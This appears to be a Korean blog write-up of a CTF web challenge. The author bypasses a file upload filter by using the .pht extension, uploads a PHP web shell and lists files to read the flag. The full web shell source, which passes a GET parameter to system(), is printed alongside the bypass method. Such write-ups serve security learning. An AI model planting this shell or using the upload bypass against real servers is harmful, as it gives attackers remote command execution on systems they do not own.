DIMI CTF Web 5 Shard Writeup
hint에 디렉터리 리스팅이 있다. 힌트를 중점으로 살펴보자.
메인 화면에 들어가면 다음과 같이 나온다. 파일이 업로드되고 있는 걸 보니, 웹쉘을 올려보고 싶기도 하다.
구조에서 보이듯이 flag가 파일로 존재하고 루트에 있다. 디렉터리 리스팅이었으니 바로 exploit 해봤다.
index.php
코드를 보니 "~uploads/자신의 세션/ "에 파일이 저장되는 것으로 보인다. 따라서 파일 업로드 취약점을 이용해서 웹쉘을 업로드해보기로 했다.
먼저 디렉터리 리스팅이 제대로 되는지 확인을 했다.
upload.php
필터를 보니 먼저 php가 대소문자 상관없이 필터링되고, 파일 크기는 4byte보다 작아야 하고, 파일 이름 안에 jpg, gif, png 등이 들어가야 한다.
exploit
먼저 간단한 웹쉘을 git에서 가져왔다. https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
간단한 웹쉘코드이다.
파일 이름에 php가 들어가면 필터링되니까 여러 우회방법을 시도한 끝에, apache환경에서 php가 허용된 내역을 확인했더니 "ph(p[3457]?|t|tml$" 으로 나온다. 따라서 pht로 우회해서 넣었다.
이제 웹쉘을 실행해보자.
웹쉘이 그대로 실행되는 것이 나온다. 여기에 ls 명령어를 통해 flag가 어떤 파일명으로 되어있는지 확인했다.
딱 봐도 flaglfalllgllflflagflalglgllfllflflfaglflag 가 flag일 것 같다.
flag가 출력된다.
'웹해킹 > DIMI CTF' 카테고리의 다른 글
DIMI CTF Web AoJ Writeup (0) | 2022.12.01 |
---|---|
DIMI CTF Web simple sqli Writeup (0) | 2022.11.30 |
DIMI CTF Web simple XSS Writeup & webhook.site (0) | 2022.11.29 |
DIMI CTF Web exec me Writeup (0) | 2022.11.28 |